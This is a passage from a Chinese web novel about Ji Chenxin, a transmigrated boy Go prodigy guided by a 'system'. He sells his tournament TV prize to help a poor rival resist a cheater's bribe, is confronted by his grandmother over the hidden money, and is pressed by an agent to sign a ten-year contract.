“很精彩,小小年纪棋艺居然有这番造化,小朋友,你师承何人?” 他这问话,问的纪辰新心下一跳,“我没有师承。” 不想撒谎,也没有必要撒谎,不然需要更多的谎言来圆。 “既如此,你的天赋算很高了。”袁老似是想到什么,“前两年也有一个天赋如此高的小孩。” 纪辰新沉默着,袁老自顾自话道,“想来,如今差不多跟你一般大。” 他感慨完,话锋一转偏头看向纪辰新,“你既没有师承,想不想拜我为师?” “啊?”这是纪辰新没想到的发展,他愣住了。 袁老将他的反应看在眼里,“给你时间考虑,马上就要进入省赛了,不论你到时候夺得什么名次,我这个邀请都不会变。” 工作人员这时拿了个信封过来,“袁老,钱已经准备好了。” 袁老轻点了下头,工作人员便将手里信封交给了纪辰新。 纪辰新呆呆地握着手里的钱,他还沉浸在刚刚这老头说的话里。 【系统,你怎么说?】 系统:【袁仁,一生痴爱围棋,在他四十岁时终于达到职业九段,几年后创立了江洲棋院,他的棋院定段成功率每年都在及格线上,至今已有十多年,目前是你们江洲市最大以及最具影响力的棋院。】 【他刚刚提到那另一个天赋高的孩子,就是苏陌,两年前他也询问过苏陌要不要拜他为师,不过苏陌拒绝了。】 纪辰新不由挑了下眉,【为什么拒绝?】 系统:【因为苏陌有师承,他爷爷就是大名鼎鼎的苏瀚阳,第一届国棋院院长,不过现在已经退下来了。】 【袁仁惜才,你又已经决定好好学习围棋,其实是可以拜他为师的,他能教你很多东西。】 纪辰新有自己的担忧,【拜他为师不就暴露了吗,我啥也不会。】 这倒是一时之间,系统也没有更好的办法。 袁仁用手轻轻在他额头点了下,“想什么呢,不点一下钱?” 纪辰新晃了晃头,这老头算了,先点钱。 一分钟后,纪辰新满意地将信封揣进兜里。 袁仁从袖子里抽出了一张名片,“把这个收着,有想法了直接联系我。” “对了,江洲棋院是我创办的,有空也可以过来看看。” 纪辰新捏着名片的手有些发烫,因为他可能要辜负这番好意了,“好,谢谢。” 待人离开后,工作人员候在袁仁旁边,问道,“袁老为何买下他的彩电?” 袁仁杵着拐杖,颤巍巍起身,语气舒然,“小朋友急缺钱,就算我不买,他也会卖给别人的,还不如让他早点回家,都下一天棋了,累的慌!” 竟是这样,面对这样的袁老,工作人员不由又尊敬了两分。 纪辰新揣着钱一路走出了大门,【胡浪刚比完没多久,应该是去与黎上金汇合了,红房子又没人,他们能去哪?】 【难道回县城去了?】 系统:【不是没可能,后天才参加积分赛,他们又没多少钱,应该不会在市里住。】 【我知道了,走,我们去汽车站。】纪辰新眼睛一亮,忙不迭地就要赶过去。 然而,没走几步他就被人叫住了。 “纪辰新!”叫住他的人是 不远处马路边,赵言权和肖椿拉了个横幅,上面写着“祝纪辰新同学勇夺第一,再创辉煌!” 而苏陌手中抱了束花,离横幅一丈远,沉静里带着冷酷。 纪辰新直接就笑了,他几步跑了过去,“你们怎么都来了。” “还有这横幅,太扎眼了吧。” 赵信从一旁的车里出来,由衷道,“恭喜。” 他第一时间就得到了纪辰新夺冠的消息,便马不停蹄过来了。 纪辰新淡淡点了下头,他的注意力还在横幅上,“什么时候做的,明明今天早上都还没有。” 赵言权臭屁道:“昨天就定好了,放学才拿到的,怎么样,够不够气势。” 纪辰新笑,“万一我没赢,岂不是白费了。” 倏然,有人扯了下他的手臂,一转头,向日葵夹杂着剑兰的花束便怼到了他眼前。 纪辰新闻着花香,定定抬眼,只见苏陌抿着唇,眼眸明亮,“恭喜夺冠,预祝省赛蝉联。” “谢谢。”纪辰新抱过花束,神色璀璨,这还是他前世今生第一次收到花。 肖椿不甘示弱,“小新恭喜,这把木剑送你,我记得你之前很眼馋来着。” 木剑? 纪辰新愣了一秒,然后看到了一把绝世好剑,虽然是木的,但是很帅,是男人都拒绝不了的那种。 看着像肖椿亲手做的,见他那肉痛的样子,估计一直很宝贝。 见纪辰新没接,他往前送了送,“前两个月,你还找我要,难道你现在不喜欢了?” 前两个月? 那时候,他都还没穿过来。 意识到是原主喜欢的剑,纪辰新心情复杂的收下了,“喜欢,喜欢的。” “咦,你的奖品呢,我记得第一名是台彩电来着。”赵言权眼尖的很,他朝纪辰新身后望去,怎么不见人给你搬彩电?正好让我爸给你拖回去。!!!纪辰新一时不知该如何开口。 赵言权看着他手里的奖杯,眼睛瞪的老大,不可思议道,“不会吧,改奖品了?今年这么抠?就发个奖杯?” 他越问,纪辰新越难以开口。 一时间,所有人都注视着他,直到最后,他从兜里掏出个信封,嘿嘿笑着,“额这个事说起来有点复杂,总之,彩电我已经卖掉了。” “钱在这,总共2500百块呢,就说牛不牛吧?” 众人:“” 气氛直接凝滞,他们仿佛被震慑到了,纷纷露出了匪夷所思又欲言又止的神情。 “呵” 苏陌喉间短暂溢出一声极轻的笑,看向纪辰新的眼神,似有无奈,他莫名想起纪辰新前几天要给他当佣人的事,现在看来,把奖品卖了换钱,像是他能做出来的事。 “你是说,你奖品还没到手,赛场都没出,就已经卖了?”赵言权复述时根本不敢睁开眼,希望是自己的错觉。 肖椿也很不理解,“为什么啊?彩电欸,你说卖就卖了?你卖给谁了,是不是有人给你做局,故意坑你的?” 纪辰新不想解释太多,他挠了挠头,“别问了,总之已经卖了。” 赵信心下跳了跳,他不认为纪辰新能被坑,倒是怀疑这小子是为了还那两千块钱才 “赵叔,麻烦送我去最近的汽车站,我想找个人。”纪辰新突然道。 在这耽误了好一会儿时间了,他怕胡浪和黎上金已经坐上回县城的车,亦或是被刘弯抢了先。 赵信被他这声称呼弄的新奇极了,这还是这小子第一次对他用尊称呢! 该不会有诈吧? 真要还他钱了? 那他的计划怎么办?—— 作者有话说:纪辰新:那当然是凉拌啦![墨镜] 收藏一下文文吧~ 第26章 一行几人, 都坐上了车,赵信仅仅花了十多分钟的时间就将车开到了汽车站。 “纪辰新,你来这做什么?” “对啊, 你说你要找人,找什么人?” 赵言权和肖椿俩人轮番提问。 纪辰新回答,只是让他们待在车里,说自己下去找。 苏陌提出同行,也被纪辰新拒绝了。 赵信倒没要求什么,只是道, “我们在这等你, 你速去速回。” 就这样, 纪辰新一个人下了车。 这个汽车站是新建的,大概也才完工三年左右,仔细看非常有现代气息, 毕竟一个站建成后, 矗立几十上百年都不是问题。 纪辰新在外围找了一圈, 没见到熟悉的身影, 便跑进了站内。 站内的空间非常大, 有不少拖着行李在地上睡觉,以及安安静静坐在椅子上候车的人 。 纪辰新转了一圈, 发现人实在太多, 只能慢慢寻找。 【系统, 你说他们会在这里吗?】 系统:【抱歉宿主,这个我也不知。】 得不到帮助,纪辰新微微叹了口气,便又自己找了起来。 这边,厕所门口, 刚洗完手的胡浪,仰面就碰上了刘弯。 胡浪见他有点眼熟,便多看了两眼,哪曾想对面这人直接喊出了他的名字。 “胡浪,黎上金没跟你一起吗?” 闻言,胡浪上下打量他,他记得今早赛前,这个胡浪是跟黎上金一同来赛场的,一看就关系匪浅。 刘弯自被纪辰新淘汰后,便去收集了所有参加积分赛人员的名单以及资料。 其中黎上金对他的威胁是最大的,同时也是最穷。 既如此,便只能成为他的踏脚石了。 只要他能成功进入省赛,那袁仁还有什么理由拒绝收他为关门弟子。 胡浪明显讶异:“你认识我?” 刘弯推了下眼镜,“今天的市赛,我同样是选手。” “噢,这样啊”胡浪对他还是没印象,他今天所有的注意力全在纪辰新身上了。 与此同时,纪辰新终于在一个角落找到了黎上金,至于为什么没见到胡浪,他并不在意。 “黎上金!”纪辰新三两步便走到了他面前。 黎上金依旧戴着他的鸭舌帽,他听到声音微微抬头,黑色的布料遮住了他一只眼,但并不影响他用另一只眼视物。 “纪辰新?你怎么来了?”黎上金神色诧异。 纪辰新凑近,随后蹲下,低声道,“刘弯找你了没?” 黎上金神色迷茫,“谁?” 看来是还没找,纪辰新顿时放下心来。 “这里不方便说话,我找你有点事。” 他这样说,黎上金低头看了眼手上的票,还有半个小时才发车,来得及。 “好,去哪?” 就这样,纪辰新将黎上金带离了汽车站,随后在站外广场一棵偏远的树下站定。 黎上金一直跟在他身后,什么也不问。 纪辰新环伺了一圈见这里人稀少,更没人注意他们后,便从兜里拿出了那个信封。 “这里是两千块钱。”他提前抽了五百出来,信封里便只剩两千了。 黎上金心下微惊,不明白他什么意思,“你要做什么?” “做什么?市赛我拿了第一,奖品是彩电,我卖了。”纪辰新直言道,“这钱你拿着,我知道你需要。” 他不是什么做好事不留名的人,该是怎样就怎样。 黎上金显然被他这举动震惊到哑然,他是缺钱,但纪辰新怎么会知道,甚至还将奖品卖了换钱给他? 纪辰新知道他很疑惑,便解释,“中午红房子,你和胡浪的对话我都听到了。” “还有,估计这两天会有个叫刘弯的人来找你,他想用钱贿赂你,让你积分赛输给他。” “但赛场何其严格,一不小心就会被发现,若是被发现这辈子你怕是再也下不了棋了。” 说到这,黎上金唯一的右眼神色惊惧,“这些你如何知道?” 纪辰新嘁了一声,“刘弯今天跟我比赛时就企图贿赂,但被我拒绝了,之后他便报名了积分赛。” “对了,他的手法很厉害,能不引人注意的偷棋甚至换子,我今天都差点着了他的道。” 黎上金听到这,眉头紧蹙,不论是谁,对弈时都讨厌这种作弊的行为。 他不认识这个刘弯,但听纪辰新的描述,心里对此人的印象已然不好了。 纪辰新将信封塞在他手中,“拿着吧。” 黎上金不肯收,他确实急缺钱,但这钱他凭什么拿,“你为什么要帮我。” “怕你误入歧途罢了。”纪辰新睨着他,“而且我看不得刘弯那样的人赢。” 其实,还有更深层次的原因,但他没说。 “这笔钱应该可以好好治你奶奶的手了,你若是不要,我就收回去。” 纪辰新就这样看着他,“我言尽于此,你自己看着办。” 他没有强迫他接下,他给黎上金时间想清楚利弊关系,他这么聪明,绝对能想通的。 沉默与思量在俩人之间蔓延,两千块钱近在咫尺,只要拿了就能解燃眉之急,这是笔救命钱。 稍一想起奶奶每日每夜疼的辗转反侧,他便说不出拒绝的话了,仿佛被人扼住了七寸 最终,黎上金不出所望收下了。 他很想说等以后赚到钱了还,但糯了糯唇,愣是做不出承诺,没钱没本事的他,都不知道什么时候能赚到这么多钱。 纪辰新不清楚他心里的小九九,但明白一个叫自尊的东西,这也是他不让苏陌跟过来的原因,谁愿意被人看到自己难堪的样子,特别是穷人的自尊,既窘迫又坚韧执拗,不可轻易折辱。 “这钱算我自愿赠与你的,不用还,我只有一个要求,积分赛全力以赴,打败刘弯,阻止他晋级。” 年仅12岁的黎上金还是个未成年,母亲智障,奶奶操劳,他自己还缺了一只眼,谈什么偿还,能活下去就不错了。 “好,我知道了。”黎上金低着头,捏着信封的手发紧,指骨泛白。 纪辰新心里微松了口气,收下就好,这钱虽不能让他大富大贵,但却能改变他的命运,或许以后能在围棋这条道路上走的更远也说不定呢。 “那行,祝你好运。”说着,纪辰新便摆摆手走了,远远留下一句,“记住了,别中刘弯的圈套。” 黎上金深深注视着他的背影,独眼里无法自控地凝聚了一丝柔和。 * 车站里,胡浪带着刘弯去见黎上金,结果扑了一场空。 “咦,阿金去哪了,刚刚还在这的。” “没事,他应该走不远的,等下就要发车了。” 胡浪就地等了起来,“对了,你找阿金到底干嘛?” 刘弯推了推眼镜,“自然是有要事找他。” 积分赛的报名人员里面其实也有胡浪的名字,但刘弯看过胡浪的棋,对自己造不成威胁。 既如此,他对胡浪就没那么多的耐心了。 俩人大概在原地等了十分钟左右,终于将黎上金盼了回来。 “阿金,你去哪了?”胡浪见到人立即起身,抻着脖子问。 黎上金淡淡点了下头,“出去转了一圈。” 说罢,他的视线瞥了眼胡浪身边的人,还不待他说什么,刘弯便自我介绍道,“黎上金你好,我叫刘弯,跟你们一样,都是今天参加了市赛的选手。” 黎上金霎一听到刘弯两字,陡然提起了十二万分的精神提防他,目光隐含了警惕。 刘弯上前一步与套近乎,“我听说你也报名了积分赛?” 话落,黎上金本就提防的神色,更加警惕了。 刘弯见他不搭理自己,一时表情有些难看。 还不待他说什么,黎上金便下了逐客令,转身道,“阿浪,我们该走了,快发车了。” 胡浪懵懂地看着俩人,而刘弯听到他要走,便也顾不了那么多了,“黎上金,我有个交易想和你谈谈!” 提到这个,黎上金脚步略停,只见他右眼锋芒毕露。 纪辰新办完这事后,满意的摸了摸兜里的五百块钱,这是他从信封里抽出来的。 系统:【还以为你会全部给黎上金呢。】 纪辰新微挑眉,理所当然道,【给他两千已经足够他治他奶奶的手了,甚至还有余钱,而我,这一天下来就算没有功劳也有苦劳吧,我拿点工钱怎么了。】 他哼着曲儿,已经想好今晚就偷溜进奶奶房间,把这五百塞奶奶枕头底下。 老太太每天这么辛苦,他能分担一点是一点。 * 车站外车里,赵言权握了个PSP在玩,一旁的肖椿在写作业,他是放了学碰到苏陌,便要求着一起跟过来的,但等会儿回去还得做饭,所以就抓紧把作业都写完。 苏陌此刻从车里出去了,他虽是与赵信他们一辆车过来的,但他的司机其实一直跟在左右。 等回到了自家车上,苏陌便自顾自摆起了棋盘,进行打谱训练。 然而,他刚准备好一切,司机却惊疑了一声,“小少爷,那个是你朋友吗?” 苏陌不明所以抬头,随后顺着司机指的方向透过车窗望了过去。 他们这辆车停的位置虽然远离车站前门,但角度恰好,而司机指的那人居然是纪辰新。 只见纪辰新站在一棵树前,而他对面是一个头戴着鸭舌帽的男孩。 不知道俩人说了什么,纪辰新突然从兜里掏出什么递了过去,而那个东西看着很是眼熟,信封? 苏陌过目不忘,他眯了眯眼睛,想起纪辰新说自己把奖品卖了2500,就装在那个信封里。 所以,他卖彩电是为了这个人? 2500就这么给了别人了? 苏陌抿了下唇,略略稚气的脸庞,神色看起来不怎么好,2500对他来说不算什么钱,但他知道对纪辰新一定是一笔巨款。 财迷如纪辰新,你究竟为什么要这么做? 这个人又是谁,何以让你如此—— 作者有话说:苏陌:谁懂啊家人们,老婆把彩电卖了换钱居然是为了另一个男人!我还不认识 小天使们,收藏一下文文吧~ 第27章 纪辰新回到车内时, 赵言权顺势放下了PSP,“你要找的人找到了吗?” 赵信则发动引擎,“时间有些晚了, 我先送你们回去。” 纪辰新朝赵言权点头,“嗯,找到了。” 转而他环顾了一圈,发现没见到苏陌,正想说什么,车门突然被拉开, 苏陌就站在外面, 他清冷的瞳孔定定注视着他, “我有步棋想与你讨论一下。” 纪辰新瞥了眼不远处的黑色保姆车,想到自己的承诺,便同意了, “赵叔, 我坐苏陌的车回去, 肖椿就麻烦你了。” 赵信的视线从后视镜里看他, “好。” 纪辰新就这样跟着苏陌来到了他的车上, 后座果然已经摆好了棋局,他没多想, 问道, “哪一步?” 苏陌唇线崩着, 他让司机开车,然后目光才幽幽落到纪辰脸上,“你卖彩电的钱呢?” 问的猝不及防。 纪辰新手指微蜷,心下一抖,“怎么了?” “我都看到了。”苏陌抱着手臂, 眯着眼瞅他,“大树下,鸭舌帽男孩,你的信封。”!!! 纪辰新神色惊骇,都不知道他从哪看到的,明明他选的那地方很偏僻来着。 苏陌观察他的神色,小脸似有不满,“还不承认?” “呼~”纪辰新慢悠悠吐出口气,“有什么不承认的,事实就是你看到的那样。” “不过,这是我的事,你看到就看到了,怎么还刨根问底?” 苏陌一时哑然,问都不能问?什么人?还需要这么保密? 他说的毫不在意,心却提了起来,“那钱应该对你很重要,你就这么随随便便给别人,我单纯好奇罢了。” 纪辰新从兜里掏出自己特意留下的钱,“重要是重要,但要看跟什么比了,还剩500,已经足够了。” 他话里话外并未解释什么,苏陌只听到了“重要”两字。 所以,那鸭舌帽男孩对纪辰新很重要? “谁啊?我认识吗?”苏陌不由挂了脸,语气不善。 纪辰新撇了瞥嘴,“市赛的选手,你怎么会认识。” 市赛的选手,那岂不是今天才认识? 这才认识多久,就卖彩电换钱给别人? 听到这些,苏陌脸色更难看了,他抿着唇一言不发。 纪辰新不知道他怎么突然就不说话了,但实实在在感觉到周围的气压乍然降低了下来,他试探道,“你不是说有步棋要讨论吗,到底哪一步?” 苏陌冷冷看着他,同时心里堵了口气,极力压制着,眼不见为净的闭了眼。 纪辰新当场宕机,【系统,怎么回事,他把我叫过来下棋,怎么还生上气了?】 系统合理猜测,【额,或许是你没好好回答他的问题?】 没好好回答他的问题? 纪辰新自顾自琢磨着。 苏陌闭上眼,渐渐地冷静了下来,他不知道自己气什么,但只要一看到纪辰新丝毫没想解释的样子,他就异常堵的慌。 友情似乎有占有欲,而他对于纪辰新而言或许连这个新认识的人都比不上。 意识到这,苏陌周身气压更低了。 纪辰新还在琢磨,“你生气了?” “因为我没告诉你那人是谁?” 苏陌眼皮微跳,虽然被戳中心思,但还是没睁眼也没说话。 纪辰新继续道,“我不能告诉你他的名字,他有困难,这钱是我自愿给他的,帮他度过难关而已。” 他递了台阶,就看苏陌下不下了。 听到解释,苏陌终于睁开了眼,他狐疑道,“他是你朋友?” 纪辰新摇头,“不是,不过这钱能救他命。” “救他命?”苏陌更加不解了。 纪辰新点头,这钱能改变黎上金今后的命运,那不就等同于救命吗。 “但你说他很重要?”苏陌问出最在意的点。 纪辰新愣了愣,他什么时候说这话了? 苏陌看他迷茫的神色意识到很大可能是自己误会了,或许纪辰新的意思是两千块钱救一个人的命比两千块钱本身要更重要。 “倒是你,为什么生气?”这下,轮到纪辰新质疑了。 苏陌神色变了变,掩饰道,“我是怕你被人骗了。” 纪辰新蹙眉看他,“是吗?” 苏陌垂下眸,视线落到了棋盘上,避重就轻道,“两千对你来说不是小数目,你若是被骗,肯定会着急。” “所以,你在担心我?”纪辰新望着他,突然笑了,“苏陌,我发现你这人有时候真的很口是心非。” 苏陌偏过头去不看他,衣领遮住的耳尖却微微红了。 纪辰新背靠着座椅,放松地谓叹,“累一天了,既然你没有棋局要讨论,那我想睡一觉,到了喊我。” “好。”小小少年似有若无地回过视线,眸光深邃又晦暗。 * 天完全黑掉后,纪辰新才堪堪到家,李春兰早已做好了晚饭在等,而纪辰新早就想好了晚归的借口,“就一不小心又被老师留校了。” “肖椿也一起?”老太太不太相信,“我记得椿小子从来没有留校过。” 老太太都有点怀疑是近朱者赤近墨者黑了,肖椿莫不是被自己孙儿带坏了,真是造孽。 纪辰新不知道老太太想些什么,他今天累惨了,即便在苏陌车上睡了半小时,但此刻吃饭都困得不行。 老太太拿筷子敲了敲他的头,“脸都要睡碗里了。” 纪辰新扒了几口饭,然后打了个哈欠,“奶奶我不吃了,我洗个澡就去睡觉。” 老太太早就烧好了热水,她默默怜爱地看着孙子,欲言又止道:“小新,奶奶不祈求你要考多好,学习上要是太累了,咱就少学点。” 她以为孙儿累成这样是因为学习,纪辰新听到这话微微提起了点精神,他笑了笑,“嗯,知道啦,奶奶最好了。” 这晚,纪辰新不到八点就睡了,这是他睡的最沉的一个晚上。 一直到第二天早上醒来,他才想起昨晚忘记了什么。 他忘记了昨晚换下的裤子! 那500块钱还在里面! 他本来是打算昨晚藏奶奶枕头底下的! 纪辰新一脸焦急地从房间冲了出来,而令他最不想看到的一幕,就这样出现在了眼前。 被洗的裤子,还有因浸水而湿透的五张百元大钞就这样晾在了客厅。 而本该去赶集的老太太此刻正坐在门槛处,一脸沉寂。 纪辰新心里“咯噔”一声,他糯了糯唇,“奶奶?” 老太太陡然睁开了早已浑浊的双眼,里面透出严厉的光泽,“小新,你跟奶奶老实说,这钱哪来的?” 李春兰盯着孙子,脸色似蒙着一层化不开的霜,这可是500块钱,是她省吃俭用做针线活一两个月才能存到的钱,小新是从哪得到的这些钱呢? 她检查过了,家里的钱并没有少,那这钱就是从外面得来的。 联想到他昨晚回的晚,老太太不愿去想孙儿是不是做了偷鸡摸狗的事。 但小新是她从小带到大的,什么品行她清楚。 纪辰新咬着唇,吐出一口气,轻声道:“奶奶这是我挣来的。” 老太太一脸痛色,“谁教的你撒谎?” “我没撒谎,这真是我挣来的,其实我昨天没有被老师留校,我也没去学校。”纪辰新抓了一把头发,急切道。 李春兰眉头皱成了川字,语气惊骇:“你还逃课了?” 纪辰新稳住她,“没没没,我跟老师请假了的。” “我昨天去参加市围棋赛了,然后拿了第一名,这钱是奖金。” 老太太神色严肃:“围棋赛?” 是了,这些天孙儿隔三岔五就在摆弄棋子棋盘,时不时也能看到他下棋,确实有迹可循。 但小新什么时候棋艺这么好了,还拿第一? “对,一个月之前就报了名的,昨天是市赛,没多久还会要参加省赛。”纪辰新索性全说了,反正也瞒不住了。 李春兰蹙着眉,还不太相信:“你真的没撒谎?” 纪辰新点头,突然想到什么,“报纸应该出来了,昨天有拍照的。” 这边,他刚说完,隔壁王婶便咋咋呼呼地跑了过来,“小新他奶,小新他奶,你家小新上报纸了!” 纪辰新闻言眼睛乍然亮起,王婶的公公腿脚不好,但每天都会订阅报纸想尽办法了解外面的事,定是在报纸上看到了他,这才让王婶来确认的。 果不其然,王婶一进门,手里就拿了份报纸。 “小新他奶,你瞧,你家小新上报纸了。” “市少儿围棋大赛的第一名呢!” 王婶将报纸怼到了李春兰眼前,一脸新奇地看向纪辰新,“你这臭小子,看不出啊,深藏不露。” 纪辰新慌乱的心着实放了下来,他嘿嘿笑了一声,“婶婶你来的真是太及时了。” 王婶“啊?”了一声,她不清楚情况,但不影响她大嘴巴,“这上面说第一名奖励一台彩电呢,你彩电呢?搬回来没?” “小新,你这可得请客啊,夺得这么好的名次,这是喜事啊,让王婶也沾沾你的好运。” 刚放下的心,再次提到了嗓子眼,怎么哪壶不开提哪壶呢? 只见纪辰新尬笑着,一个劲瞅李春兰的脸色。 老太太捏着报纸还在仔细看,她识字不多,但纪辰新三个字她还是认识的。 所以,孙儿真的没撒谎,确实是参加了围棋比赛。 既如此,李春兰板着的脸终于缓和了不少,只要不是做那种偷鸡摸狗的事就行。 王婶还在叽叽喳喳,“你的彩电在哪?让王婶瞧瞧市里奖励的彩电有什么不同。” 彩电? 老太太眼皮一跳,目光不由再次看向了孙儿,看来这臭小子还有事情瞒着她,她的视线偏了偏,又落到了那还在滴水的五百块钱上。 所以,彩电没了,变成了500块钱? 纪辰新心虚地摸了摸鼻子,“那个快迟到了,我得去上学了。” “我没记错的话,今天周六。”老太太无情拆穿。 “是嘛,哈哈。”纪辰新无奈扶额,“关于彩电我可以解释的。” * 当纪辰新把事情的来龙去脉简单述说完后,一向能说会道的王婶都缄默了。 空气就像被冻住的冰块,纪辰新的呼吸都带了点滞涩,他看着奶奶,乖巧道,“奶奶,你觉得我做错了吗?” 老太太静静坐着,好一会儿才叹气道,“你做的没错,但不该什么都瞒着奶奶,难道你是觉得奶奶会阻拦你?” “你宁愿欺骗奶奶,也要逃课去围棋赛,得了奖品也不说,就连那500块钱要不是我给你洗裤子,怕是也发现不了” “你什么都瞒着我,若是在外面出了什么事,你让奶奶怎么办?” “这一个多月以来你变了好多,我都看在眼里,但我不知道你居然会变得这么大胆且有主见,你大胆到逃课,有主见到变卖奖品帮助刚认识的人,你做什么事都将奶奶排除在外,不让奶奶知道,你以前明明不这样的。” 你以前明明不这样的! 毫无预兆的一句话,突然将纪辰新的脑袋砸出了一片空白—— 作者有话说:收藏一下文文吧~小天使们! 第28章 一滴汗, 缓缓从纪辰新的额角滑落。 老太太的声声质问沉甸甸的压在纪辰新心头,王婶见情况不对,非常有眼色的说家里有事先走了。 沉默在一老一小之间蔓延, 纪辰新全身僵硬着,墙上的时钟滴答滴答显得格外刺耳。 气氛像是一张密不透风的网,拉扯着纪辰新,他有点喘不过气,“奶奶,我知道错了。” “我不该什么都瞒着你, 其实我刚开始参加围棋赛就是冲着奖金去的, 第三名有800, 我想着有了这笔钱,家里的生活也能改善点,奶奶你也能不这么辛苦。” 老太太的双手布满了老茧, 指关节粗大变形, 她微微驮着背, “小新, 你才十岁, 你做什么要去思考这些,奶奶不需要你出去赚钱, 只盼着你无忧无虑, 平平安安。” “老婆子我还干得动, 你若是为了钱去参赛,那以后奶奶绝不会再让你碰围棋!” 穿堂风吹起她洗的发白的衣襟,眼神浑浊,透着历经岁月的沧桑。 她的话掷地有声,世界仿佛按下了暂停键, 纪辰新的瞳孔微微颤动。 系统:【宿主,你快答应奶奶啊,我们不能不下棋啊!】 纪辰新眼眶微红,他伸手握住了奶奶粗粝的手掌,“好,我都答应你,奶奶你别生气了。” 老太太“哼”了声,神色稍缓。 纪辰新摇了摇她的手,“奶奶,你看我这不是好好的吗,虽然少上了一天课,但却拿了大赛第一呢!” 老太太抽出手,在他脑袋上敲了下,“围棋就这么重要?” “重要,很重要。”纪辰新摸了摸头,“不过,你放心,学习我也不会落下的。” 李春兰知道孩子现在非常有自己的主见,学习和围棋,她也不懂,更给不出什么好建议。 “你既喜欢下棋,奶奶也不会拦着你,但切不可再为了钱去做什么,你还小,不懂社会险恶。” 纪辰新听着嘱咐,眉眼弯了弯,“嗯嗯知道啦,对了下周我还要参加省赛,先给您提前说一声。” “然后这500块钱,奶奶您收好,放我这我怕丢了。” 老太太哪里不知道他的心思,估计还想着为家里填补家用,她没好气道,“奶奶不要你的钱,你是个好孩子,懂事知分寸,你自己收好就行。” 俩人推脱来推脱去,纪辰新计划失策,老太太怎么都不愿要他的钱。 “等你长大了,有自己的工作了,再孝敬我也不迟。” 如此说,这钱,纪辰新便更给不出去了。 * 当天老太太继续出去给人做工了,纪辰新则留在家里听从系统的安排学习围棋。 大概下午三点左右,楼下碎石路上,有车鸣声,还有狗叫声,一连叫了几声,纪辰新推开窗便看到了赵言权站在巷子里,看着像是在专门等他。 只见他指了指巷子外,大喊道,“我爸在车里,有事找你。” 纪辰新隐约猜到赵信他所为何事,他回道,“好,我马上下来。” 楼下,赵言权说完这句话就跑了,生怕被不远处的小黑撵。 然而,他不知道的是,他越跑,小黑追的越凶。 “啊啊啊啊啊,救命啊,小黑别追了,我们有过一面之缘的,熟人,我是熟人。” “爸,爸,快救我!” 赵言权属实被吓惨了,眼见就要被狗追上了,他一个蹲下,抓起一颗石子朝狗丢了过去,他惊恐万分,口不择言,“操你大爷的,再追老子,我我干死你。” 当恐惧抵达上限,人会被激发出殊死一搏的潜力。 “小黑,回来!”纪辰新的声音宛如天籁,他的出现对于赵言权来说不亚于久旱逢甘霖。 “天老爷啊,纪辰新你赶快把它赶走。”赵言权还保持着蹲下手握石子的姿势。 结果小黑因他这姿势愈发警惕,它发出嘶嘶地喷气声,配合身体的紧绷,就好像随时会冲过来撕咬他。 高频的短吠,足以威慑赵言权。 赵信这个时候匆匆跑进了巷子,他是听到赵言权喊救命,连忙赶过来的,平常一丝不苟往后梳的头发,零零散散掉落了几根下来。 赵言权见到父亲,眼泪鼻涕一把掉,“爸,快救我!” 他这蹲起的姿势以及样貌实在可笑,赵信快速打量了一眼现场,见没发生什么事,悬着的心放了下来,然后没忍住噗嗤了一声,难得看到自己儿子如此吃瘪的一面,居然还是因为一条狗。 这个时候,纪辰新也终于按住了小黑,他严肃拍了拍小黑的脑袋,“再叫,以后不给你喂饭了,快滚回去。” 说着,他安抚了下小黑的皮毛,然后将它的脑袋和身子转了个弯,“快走!” 小黑被纪辰新教训后,呜呜咽咽地一步三回头走了。 赵言权腿都软了,卸了力便一屁股坐到了地上,“以后再也不来你这破巷子了。” 纪辰新走到了他面前,抬眼无语地看向赵信,“你儿子都这样了,你也不扶他起来?” 赵信叼着一根烟,一副没眼看的表情瞟了瞟地上的人,“男子汉大丈夫,哭哭啼啼的像什么样子,一条狗而已,有什么好怕的,它若咬你,你就咬回去!” 纪辰新,赵言权:“” 说着,他又从兜里掏出了纸巾递了过去,“擦擦,脸都哭花了。” 这操作可谓是铁汉柔情,口嫌体直。 赵言权一把从地上爬起来,非常有骨气地没接纸巾,然后用袖子霸气的擦了擦脸,“我不要!” 他自觉丢了面,打算必须要克服怕狗的恐惧,“小黑在哪,我要和它单挑!” “额”纪辰新实在不好说什么,有些惆怅地看向了赵信。 赵信却不以为然,“没事,随他去,发会儿疯就好了,咱们的事去我车里说吧。” 纪辰新还是有些担心赵言权的,随后在路边捡了根棍子交到了他手里,“或许,你听过打狗棍法吗?” 他语重心长道,“失传已久的打狗棍法,或许今日就能重出江湖了!” 赵言权郑重接过,眼中光芒四射,表示一定不负所托! 赵信嘴角抽了又抽,热血什么?就你们两小屁孩还幻想上了? 安置好赵言权,纪辰新跟随赵信来到了他的车里。 赵信车里有一封拟好的文件就放在副驾上,纪辰新当没看到,“找我什么事?” 赵信先是感叹了一句他们这边的落后,又问起了周遭的生活水平,最后才进入正题。 “要不要与我合作?” “我可以帮助你和你奶奶过上更好的生活。” 纪辰新睨着他,“怎么说?” 赵信摆出了丰厚的条件,“市赛你表现的很好,我呢也看上了你的才能,你帮我的围棋班进行宣传,相应的我会给你报酬,一个月两千。” 纪辰新看着他伸出的手指,这个数字确实对于他以及他家来说很多了。 “你奶奶又出去给人做工了吧?” “你家若是有了这笔钱,你家今后会过上很好的日子,或许还可以搬离这里。” 赵信每一句话都精准踩在纪辰新所思所想上,听上去是一笔很划算的买卖。 纪辰新嗤笑了声,“恐怕我要做的不止帮你的围棋班做宣传吧,你如此避重就轻,还给出这么高的报酬,真以为我三岁小孩呢?” 赵信表情凝重了一瞬,很快又哂笑,“你倒敏觉。” 说着,他伸手拿起副驾上的文件,“具体要做的事项都在里面,你可以看看。” 纪辰新没接,“跟未成年人签署合同犯法,你难道不知道?” “啧,给你看看,又没让你签。”赵信无奈摊手,“苏陌到底跟你说了什么,你看起来很防备我。” “我承认,以前找苏陌签合同,确实有很多条款不妥,但我都改了,你再仔细看看。” 纪辰新这才接过合同看了起来,然后发现赵信说的没错,苏陌所说的那些霸王条款都已经改了,下调了比例,同时限制条款也变多了,一次性签下的甚至是为期十年的合同,棋手最为宝贵的年华都在里面了。 “跟我合作之后,不论是生活上,或是后来的职业道路,都不用操心,我都会帮你安排好。” “同时,你家的条件会得到极大的改善,这是双赢的结果。” “我知道苏陌肯定给你分析过利弊,看你警惕的模样,他估计没说我几句好话吧。” “他是个不缺钱的主,当然可以随意拒绝抛来的橄榄枝,而你不同,纪辰新你想想你家每天吃的是什么,看看你所生活的地方,看看你早出晚归的奶奶,你还要拒绝吗?” 动之以情,晓之以理,还让纪辰新看清楚现实。 